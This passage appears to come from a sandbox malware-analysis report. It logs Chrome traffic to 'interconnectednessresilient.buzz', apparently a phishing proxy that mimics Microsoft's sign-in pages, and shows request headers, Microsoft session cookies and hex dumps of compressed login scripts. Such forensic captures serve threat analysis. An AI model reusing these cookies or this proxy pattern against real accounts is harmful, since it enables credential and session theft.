20 28 65 20 3d 20 70 2e 61 70 70 65 6e 64 28 65 2c 20 74 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: = p.appendOrReplace( "?" + ge, "wctx", "LoginOptions%3D3%26" + p.extract("wctx", "?" + ge) ); (t = t.substr(1)), (e = p.append(e, t));
2025-01-14 14:56:20 UTC	16384	IN	Data Raw: 20 20 28 65 2e 65 78 70 6f 72 74 73 20 3d 20 70 29 3b 0a 20 20 7d 2c 0a 20 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 6e 2c 20 74 29 20 7b 0a 20 20 20 20 76 61 72 20 69 20 3d 20 74 28 32 29 2c 0a 20 20 20 20 20 20 61 20 3d 20 74 28 31 29 2c 0a 20 20 20 20 20 20 6f 20 3d 20 74 28 34 29 2c 0a 20 20 20 20 20 20 72 20 3d 20 74 28 30 29 2c 0a 20 20 20 20 20 20 73 20 3d 20 77 69 6e 64 6f 77 2c 0a 20 20 20 20 20 20 63 20 3d 20 72 2e 44 69 61 6c 6f 67 49 64 3b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 6e 20 3d 20 74 68 69 73 2c 0a 20 20 20 20 20 20 20 20 74 20 3d 20 65 2e 69 73 50 6c 61 74 66 6f 72 6d 41 75 74 68 65 6e 74 69 63 61 74 6f 72 41 76 61 69 6c 61 62 6c 65 3b 0a 20 20 20 20 20 20 28 6e 2e 6f 6e 52 65 67 Data Ascii: (e.exports = p); }, function (e, n, t) { var i = t(2), a = t(1), o = t(4), r = t(0), s = window, c = r.DialogId; function d(e) { var n = this, t = e.isPlatformAuthenticatorAvailable; (n.onReg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49997	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:20 UTC	3220	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/oneDs_641b1cf809bdc17b42ab.js HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHF [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:20 UTC	1386	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:20 GMT Content-Type: application/x-javascript content-length: 190151 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 27 Oct 2022 14:24:13 GMT ETag: 0x8DAB826EBE74413 x-ms-request-id: ac496dd0-501e-0028-3994-669d53000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145620Z-15d54ff9787crf4fhC1YTOb2600000000c80000000002tb9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2025-01-14 14:56:20 UTC	14998	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cc bd 69 77 db 46 b2 30 fc fd fe 0a 0a 27 57 03 8c da 34 29 2f 71 48 23 bc b2 44 db 4c b4 45 4b 9c 8c ac d1 81 c8 96 04 9b 04 18 00 94 ac 91 f8 df 9f aa ea 1d 04 28 29 c9 7d ef 7b 12 8b 40 a3 7a af ae ae ae ae c5 bf 89 93 51 7a d3 2c f8 98 4f 78 91 dd 9e dd f0 f3 69 34 fc fa 53 9e 26 d3 70 e9 d7 fb fb 93 d3 a0 39 9d e5 57 fe c9 c9 fa 29 3b 61 8c 5d cc 92 61 11 a7 89 cf 59 c1 92 e0 ce 9b e5 bc 91 17 59 3c 2c bc 6e d2 cc fc 22 60 49 73 e4 17 cc fb 35 1a cf f8 cf 50 81 c7 7c 9d 2d b8 cb 78 31 cb 92 46 d6 e4 f3 40 c3 f6 af 79 52 6c 47 05 4f 86 b7 35 e0 51 19 7c 9f 67 79 9c 63 16 5e 93 e5 dc ca 72 94 45 43 be cd af f9 b8 06 78 64 01 6f 4c a7 83 24 8f 2f af 8a 7c 33 cd aa 8b 8f 9d 16 bd 8b 72 5e 0b 6a 17 7d d6 ff 06 4d 1e f1 d1 20 Data Ascii: iwF0'W4)/qH#DLEK()}{@zQz,Oxi4S&p9W);a]aYY<,n"`Is5P\|-x1F@yRlGO5Q\|gyc^rECxdoL$/\|3r^j}M
2025-01-14 14:56:20 UTC	1386	IN	Data Raw: 0d 08 ce 9e 0b aa 1f 8b 11 3c 08 9b 78 48 97 78 46 a5 24 ab d9 bc 5e b4 ed cd 0b ab ad e8 df 24 ba fd 5b b7 2f b7 77 88 4f c2 67 46 4d 1f 0b 75 02 77 fb 58 84 c3 d5 d5 a1 d5 c7 aa bc 89 52 ee 73 55 63 12 54 51 9e 19 a5 98 4c 6c 9b aa 29 7f 81 0e 15 8b c8 b4 6e 6d b8 35 23 fc 77 92 1f 7d c2 7d 60 e9 5a 4e 05 80 55 57 16 ca 64 24 83 8f 7e c9 a2 18 6f be 60 b5 e3 f7 6b ee db cb 3a 66 b6 43 02 28 82 2d f7 ac 41 3e 33 02 d7 52 93 5d 5b 34 e4 fa 89 04 cc b0 a4 8b 56 fe 62 07 43 75 54 db 27 52 61 9c c6 98 e4 50 a6 06 44 5d 6a 06 b3 6a 82 95 ba 93 06 36 1c 95 4e f9 bb 66 f8 2c 4d 84 8f 0d 47 8a 26 24 6d ba 5f e8 23 82 5e ae 0b 25 99 5f 59 dc 77 52 b5 ef 64 61 dc 24 de 4f 1c 01 23 91 79 96 8d 51 e7 a8 6c 4b 13 34 8f 0f b6 c9 ce 5a 39 e8 80 15 a4 7c 3d 89 b6 fd 8f Data Ascii: <xHxF$^$[/wOgFMuwXRsUcTQLl)nm5#w}}`ZNUWd$~o`k:fC(-A>3R][4VbCuT'RaPD]jj6Nf,MG&$m_#^%_YwRda$O#yQlK4Z9\|=
2025-01-14 14:56:20 UTC	16384	IN	Data Raw: 95 a1 50 20 13 dc 09 ae 34 e2 7c 9d 30 c3 e4 c1 b6 9c ec e3 12 20 93 46 e3 3e 5b 03 ed 8f 67 c0 df fb 78 dd a8 ae 19 4d 00 1b f1 d1 0b 4a 7e 13 a6 94 dc 94 fe 24 50 2d cd 47 c7 3d 85 da e1 a9 62 8c 17 47 aa d5 45 78 07 f5 10 07 b4 78 d7 96 12 fa cd e1 40 53 82 00 82 12 ad ae 46 4d f9 c1 a7 c0 2f 64 02 06 d0 26 7a 72 65 91 74 91 31 d8 a2 52 17 e0 ac 82 55 04 66 ae 27 73 c2 f1 f4 4e 01 40 75 31 14 5d 18 6a c4 18 b2 35 15 0a d7 1f b2 c6 32 9c 55 a1 f8 e4 d6 c7 75 7d aa 14 55 21 35 ef fd 38 ba cc eb 7b 49 9f 4d 47 4b d0 e5 be d2 67 31 94 26 37 0c 28 1e c0 a4 59 3c 4b b5 71 c3 5c 85 c2 bd 2b ec d1 92 4d 17 61 b4 95 83 6f ef 6c 96 7c 4d d2 9b e4 cc 13 1e 9b 94 25 3b 59 f4 98 d7 35 b4 ba 8c f2 2b e1 55 59 58 bd d2 fc fe e1 bb b2 80 60 9e 8b 78 bc 40 3a 5d 23 d7 Data Ascii: P 4\|0 F>[gxMJ~$P-G=bGExx@SFM/d&zret1RUf'sN@u1]j52Uu}U!58{IMGKg1&7(Y<Kq\+Maol\|M%;Y5+UYX`x@:]#
2025-01-14 14:56:20 UTC	16384	IN	Data Raw: cc 68 6f b7 b7 64 ca dd ae 4a d9 e6 94 0f 04 97 4e a7 c2 f3 c0 0e a7 9c 5c a7 49 24 dd 09 ec 72 ca af 8c 88 09 2d 8c 1f 39 e5 34 9e a8 6a 9e 8b 84 db 42 a7 bc 10 4d 31 6e 5a 3c b6 5b a2 db 88 43 dd 12 3d 7d fb d7 30 69 b7 16 fa f8 3e ba 0a 07 54 7e cb df 9f e6 45 7a 1b a9 00 e4 6a 68 f2 b5 bd b5 69 c2 3f 35 45 44 aa 8f 69 2a f6 d3 1c ee fe 11 06 7b 48 f3 40 04 2d 47 ba a3 09 38 bc bd 8d 86 31 dc 16 6c 9b e0 50 7c 7f 9e e4 93 68 00 ab b6 21 cd b3 1c 6c 0b 77 e6 d6 26 55 73 2e 1e b6 90 b0 bb 4d 73 77 2e 1e 76 fc 37 e9 14 ca 0c bb 3e a8 0f 9a 1e 76 57 f0 dc 87 3a 00 b7 fb c2 84 90 d5 be 66 71 11 13 14 69 6f 9a 50 4f 16 3a 3e 3a a0 9e 1c 7c fc 78 fc 91 8a 7e de fb 78 74 78 f4 13 75 e5 f0 e8 ed f1 c7 0f 7b 67 87 c7 47 ed 2d 13 cc 11 ca 6d 0b 35 2b 02 4e 38 96 Data Ascii: hodJN\I$r-94jBM1nZ<[C=}0i>T~Ezjhi?5EDi*{H@-G81lP\|h!lw&Us.Msw.v7>vW:fqioPO:>:\|x~xtxu{gG-m5+N8
2025-01-14 14:56:20 UTC	2309	IN	Data Raw: e8 02 ed b7 1b 30 09 aa 8b f1 66 7d dd 87 be a5 89 29 6d ad 56 10 1e 45 fe f0 c5 b9 27 2d 54 f4 8d b9 67 48 81 d4 bd 69 12 41 b4 ab f6 4a a9 88 ba 2e f7 14 bf d4 b7 af c8 76 f5 ce 84 88 a4 94 5f fe db 53 02 7c b1 3a 29 cc e0 d4 b9 d5 53 c2 5a f1 1f e1 60 c9 b8 fe d9 5f a6 f1 1e 54 72 f7 2c d6 a6 25 92 b2 05 54 5c b4 7c f5 7c 28 37 70 f8 65 05 40 cc 2d 6c 6a bc cc 66 37 ee 9e 80 f9 cc fa e3 37 ef 09 3a dc 42 5c 16 d1 31 a2 c7 eb d1 b0 76 6c d1 e2 73 a3 67 88 37 5c 6a b0 71 e8 99 52 9f ad a4 04 19 38 94 39 82 75 69 60 e7 f4 5c 2a b4 a1 16 43 bd ad 52 4b 99 83 5a 36 cd 5a 4a ba 22 d3 d4 48 d1 25 4a 49 0a 37 39 2a 67 69 94 18 95 d1 95 a2 45 59 7e 67 31 04 91 52 b1 e0 10 44 c8 86 46 78 19 dd 79 81 ef 00 67 8c 2f 7c 47 71 b0 b5 45 aa 18 02 b8 0d 91 67 44 1e 8a Data Ascii: 0f})mVE'-TgHiAJ.v_S\|:)SZ`_Tr,%T\\|\|(7pe@-ljf77:B\1vlsg7\jqR89ui`\CRKZ6ZJ"H%JI79giEY~g1RDFxyg/\|GqEgD
2025-01-14 14:56:20 UTC	9575	IN	Data Raw: ad ed ca 9b db c6 95 fc ff fb 29 6c ee ab 14 39 86 15 49 3e 92 48 c3 a8 14 3b 87 de 24 b6 c7 ce 31 bb 1e 8d 8b 92 28 99 36 45 ea 91 94 9d 4c ec ef be 7d 00 20 40 51 76 de 66 77 6a 1c 91 00 08 82 38 1a dd 8d ee 5f 7b 1d a8 08 37 c9 9e c6 fc 78 83 3b 4c 01 55 73 4a f0 d5 9d e3 41 99 b9 98 91 1a 7f 77 af 49 ff 71 83 d1 66 50 7d 23 9a 43 71 0d b7 23 b8 dd 17 3b ea 36 80 db d6 73 f1 02 ee 2d 85 b0 41 8a 08 d9 e9 b7 ee 3b a2 30 7f 7b c2 1c b5 c2 1e 2d 7b 68 ec 75 51 0e ce ca 33 78 56 c0 06 f7 85 e6 3d 77 45 a1 78 4f 65 ca 21 97 f6 af 51 af b4 ca aa 81 e3 43 0b 65 84 0e ea 64 2a 72 94 27 dd 57 b2 c7 46 34 a3 11 3d 4a 93 53 3c bb 46 15 d3 19 b9 09 78 02 be be 2a 75 a4 56 2f 81 00 5b 13 13 89 23 04 f9 19 52 73 d2 56 b3 f2 98 4c be 28 4c b7 d4 1b 27 b6 de 38 2c 55 Data Ascii: )l9I>H;$1(6EL} @Qvfwj8_{7x;LUsJAwIqfP}#Cq#;6s-A;0{-{huQ3xV=wExOe!QCedr'WF4=JS<FxuV/[#RsVL(L'8,U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50005	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:21 UTC	1896	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/oneDs_641b1cf809bdc17b42ab.js HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:21 UTC	1413	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:21 GMT Content-Type: application/x-javascript content-length: 190151 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 27 Oct 2022 14:24:13 GMT ETag: 0x8DAB826EBE74413 x-ms-request-id: ac496dd0-501e-0028-3994-669d53000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145621Z-r1fc5bf4d666jsxphC1MNZqsd00000002130000000002p9f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2025-01-14 14:56:21 UTC	14971	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cc bd 69 77 db 46 b2 30 fc fd fe 0a 0a 27 57 03 8c da 34 29 2f 71 48 23 bc b2 44 db 4c b4 45 4b 9c 8c ac d1 81 c8 96 04 9b 04 18 00 94 ac 91 f8 df 9f aa ea 1d 04 28 29 c9 7d ef 7b 12 8b 40 a3 7a af ae ae ae ae c5 bf 89 93 51 7a d3 2c f8 98 4f 78 91 dd 9e dd f0 f3 69 34 fc fa 53 9e 26 d3 70 e9 d7 fb fb 93 d3 a0 39 9d e5 57 fe c9 c9 fa 29 3b 61 8c 5d cc 92 61 11 a7 89 cf 59 c1 92 e0 ce 9b e5 bc 91 17 59 3c 2c bc 6e d2 cc fc 22 60 49 73 e4 17 cc fb 35 1a cf f8 cf 50 81 c7 7c 9d 2d b8 cb 78 31 cb 92 46 d6 e4 f3 40 c3 f6 af 79 52 6c 47 05 4f 86 b7 35 e0 51 19 7c 9f 67 79 9c 63 16 5e 93 e5 dc ca 72 94 45 43 be cd af f9 b8 06 78 64 01 6f 4c a7 83 24 8f 2f af 8a 7c 33 cd aa 8b 8f 9d 16 bd 8b 72 5e 0b 6a 17 7d d6 ff 06 4d 1e f1 d1 20 Data Ascii: iwF0'W4)/qH#DLEK()}{@zQz,Oxi4S&p9W);a]aYY<,n"`Is5P\|-x1F@yRlGO5Q\|gyc^rECxdoL$/\|3r^j}M
2025-01-14 14:56:21 UTC	1413	IN	Data Raw: 83 42 41 e7 c1 db e3 2c 78 b8 67 e4 57 f2 01 8c b1 b2 fd 6f 22 8f de 45 b0 de 85 0d 08 ce 9e 0b aa 1f 8b 11 3c 08 9b 78 48 97 78 46 a5 24 ab d9 bc 5e b4 ed cd 0b ab ad e8 df 24 ba fd 5b b7 2f b7 77 88 4f c2 67 46 4d 1f 0b 75 02 77 fb 58 84 c3 d5 d5 a1 d5 c7 aa bc 89 52 ee 73 55 63 12 54 51 9e 19 a5 98 4c 6c 9b aa 29 7f 81 0e 15 8b c8 b4 6e 6d b8 35 23 fc 77 92 1f 7d c2 7d 60 e9 5a 4e 05 80 55 57 16 ca 64 24 83 8f 7e c9 a2 18 6f be 60 b5 e3 f7 6b ee db cb 3a 66 b6 43 02 28 82 2d f7 ac 41 3e 33 02 d7 52 93 5d 5b 34 e4 fa 89 04 cc b0 a4 8b 56 fe 62 07 43 75 54 db 27 52 61 9c c6 98 e4 50 a6 06 44 5d 6a 06 b3 6a 82 95 ba 93 06 36 1c 95 4e f9 bb 66 f8 2c 4d 84 8f 0d 47 8a 26 24 6d ba 5f e8 23 82 5e ae 0b 25 99 5f 59 dc 77 52 b5 ef 64 61 dc 24 de 4f 1c 01 23 91 Data Ascii: BA,xgWo"E<xHxF$^$[/wOgFMuwXRsUcTQLl)nm5#w}}`ZNUWd$~o`k:fC(-A>3R][4VbCuT'RaPD]jj6Nf,MG&$m_#^%_YwRda$O#
2025-01-14 14:56:21 UTC	16384	IN	Data Raw: 95 a1 50 20 13 dc 09 ae 34 e2 7c 9d 30 c3 e4 c1 b6 9c ec e3 12 20 93 46 e3 3e 5b 03 ed 8f 67 c0 df fb 78 dd a8 ae 19 4d 00 1b f1 d1 0b 4a 7e 13 a6 94 dc 94 fe 24 50 2d cd 47 c7 3d 85 da e1 a9 62 8c 17 47 aa d5 45 78 07 f5 10 07 b4 78 d7 96 12 fa cd e1 40 53 82 00 82 12 ad ae 46 4d f9 c1 a7 c0 2f 64 02 06 d0 26 7a 72 65 91 74 91 31 d8 a2 52 17 e0 ac 82 55 04 66 ae 27 73 c2 f1 f4 4e 01 40 75 31 14 5d 18 6a c4 18 b2 35 15 0a d7 1f b2 c6 32 9c 55 a1 f8 e4 d6 c7 75 7d aa 14 55 21 35 ef fd 38 ba cc eb 7b 49 9f 4d 47 4b d0 e5 be d2 67 31 94 26 37 0c 28 1e c0 a4 59 3c 4b b5 71 c3 5c 85 c2 bd 2b ec d1 92 4d 17 61 b4 95 83 6f ef 6c 96 7c 4d d2 9b e4 cc 13 1e 9b 94 25 3b 59 f4 98 d7 35 b4 ba 8c f2 2b e1 55 59 58 bd d2 fc fe e1 bb b2 80 60 9e 8b 78 bc 40 3a 5d 23 d7 Data Ascii: P 4\|0 F>[gxMJ~$P-G=bGExx@SFM/d&zret1RUf'sN@u1]j52Uu}U!58{IMGKg1&7(Y<Kq\+Maol\|M%;Y5+UYX`x@:]#
2025-01-14 14:56:21 UTC	16384	IN	Data Raw: cc 68 6f b7 b7 64 ca dd ae 4a d9 e6 94 0f 04 97 4e a7 c2 f3 c0 0e a7 9c 5c a7 49 24 dd 09 ec 72 ca af 8c 88 09 2d 8c 1f 39 e5 34 9e a8 6a 9e 8b 84 db 42 a7 bc 10 4d 31 6e 5a 3c b6 5b a2 db 88 43 dd 12 3d 7d fb d7 30 69 b7 16 fa f8 3e ba 0a 07 54 7e cb df 9f e6 45 7a 1b a9 00 e4 6a 68 f2 b5 bd b5 69 c2 3f 35 45 44 aa 8f 69 2a f6 d3 1c ee fe 11 06 7b 48 f3 40 04 2d 47 ba a3 09 38 bc bd 8d 86 31 dc 16 6c 9b e0 50 7c 7f 9e e4 93 68 00 ab b6 21 cd b3 1c 6c 0b 77 e6 d6 26 55 73 2e 1e b6 90 b0 bb 4d 73 77 2e 1e 76 fc 37 e9 14 ca 0c bb 3e a8 0f 9a 1e 76 57 f0 dc 87 3a 00 b7 fb c2 84 90 d5 be 66 71 11 13 14 69 6f 9a 50 4f 16 3a 3e 3a a0 9e 1c 7c fc 78 fc 91 8a 7e de fb 78 74 78 f4 13 75 e5 f0 e8 ed f1 c7 0f 7b 67 87 c7 47 ed 2d 13 cc 11 ca 6d 0b 35 2b 02 4e 38 96 Data Ascii: hodJN\I$r-94jBM1nZ<[C=}0i>T~Ezjhi?5EDi*{H@-G81lP\|h!lw&Us.Msw.v7>vW:fqioPO:>:\|x~xtxu{gG-m5+N8
2025-01-14 14:56:21 UTC	2309	IN	Data Raw: e8 02 ed b7 1b 30 09 aa 8b f1 66 7d dd 87 be a5 89 29 6d ad 56 10 1e 45 fe f0 c5 b9 27 2d 54 f4 8d b9 67 48 81 d4 bd 69 12 41 b4 ab f6 4a a9 88 ba 2e f7 14 bf d4 b7 af c8 76 f5 ce 84 88 a4 94 5f fe db 53 02 7c b1 3a 29 cc e0 d4 b9 d5 53 c2 5a f1 1f e1 60 c9 b8 fe d9 5f a6 f1 1e 54 72 f7 2c d6 a6 25 92 b2 05 54 5c b4 7c f5 7c 28 37 70 f8 65 05 40 cc 2d 6c 6a bc cc 66 37 ee 9e 80 f9 cc fa e3 37 ef 09 3a dc 42 5c 16 d1 31 a2 c7 eb d1 b0 76 6c d1 e2 73 a3 67 88 37 5c 6a b0 71 e8 99 52 9f ad a4 04 19 38 94 39 82 75 69 60 e7 f4 5c 2a b4 a1 16 43 bd ad 52 4b 99 83 5a 36 cd 5a 4a ba 22 d3 d4 48 d1 25 4a 49 0a 37 39 2a 67 69 94 18 95 d1 95 a2 45 59 7e 67 31 04 91 52 b1 e0 10 44 c8 86 46 78 19 dd 79 81 ef 00 67 8c 2f 7c 47 71 b0 b5 45 aa 18 02 b8 0d 91 67 44 1e 8a Data Ascii: 0f})mVE'-TgHiAJ.v_S\|:)SZ`_Tr,%T\\|\|(7pe@-ljf77:B\1vlsg7\jqR89ui`\CRKZ6ZJ"H%JI79giEY~g1RDFxyg/\|GqEgD
2025-01-14 14:56:21 UTC	9575	IN	Data Raw: ad ed ca 9b db c6 95 fc ff fb 29 6c ee ab 14 39 86 15 49 3e 92 48 c3 a8 14 3b 87 de 24 b6 c7 ce 31 bb 1e 8d 8b 92 28 99 36 45 ea 91 94 9d 4c ec ef be 7d 00 20 40 51 76 de 66 77 6a 1c 91 00 08 82 38 1a dd 8d ee 5f 7b 1d a8 08 37 c9 9e c6 fc 78 83 3b 4c 01 55 73 4a f0 d5 9d e3 41 99 b9 98 91 1a 7f 77 af 49 ff 71 83 d1 66 50 7d 23 9a 43 71 0d b7 23 b8 dd 17 3b ea 36 80 db d6 73 f1 02 ee 2d 85 b0 41 8a 08 d9 e9 b7 ee 3b a2 30 7f 7b c2 1c b5 c2 1e 2d 7b 68 ec 75 51 0e ce ca 33 78 56 c0 06 f7 85 e6 3d 77 45 a1 78 4f 65 ca 21 97 f6 af 51 af b4 ca aa 81 e3 43 0b 65 84 0e ea 64 2a 72 94 27 dd 57 b2 c7 46 34 a3 11 3d 4a 93 53 3c bb 46 15 d3 19 b9 09 78 02 be be 2a 75 a4 56 2f 81 00 5b 13 13 89 23 04 f9 19 52 73 d2 56 b3 f2 98 4c be 28 4c b7 d4 1b 27 b6 de 38 2c 55 Data Ascii: )l9I>H;$1(6EL} @Qvfwj8_{7x;LUsJAwIqfP}#Cq#;6s-A;0{-{huQ3xV=wExOe!QCedr'WF4=JS<FxuV/[#RsVL(L'8,U

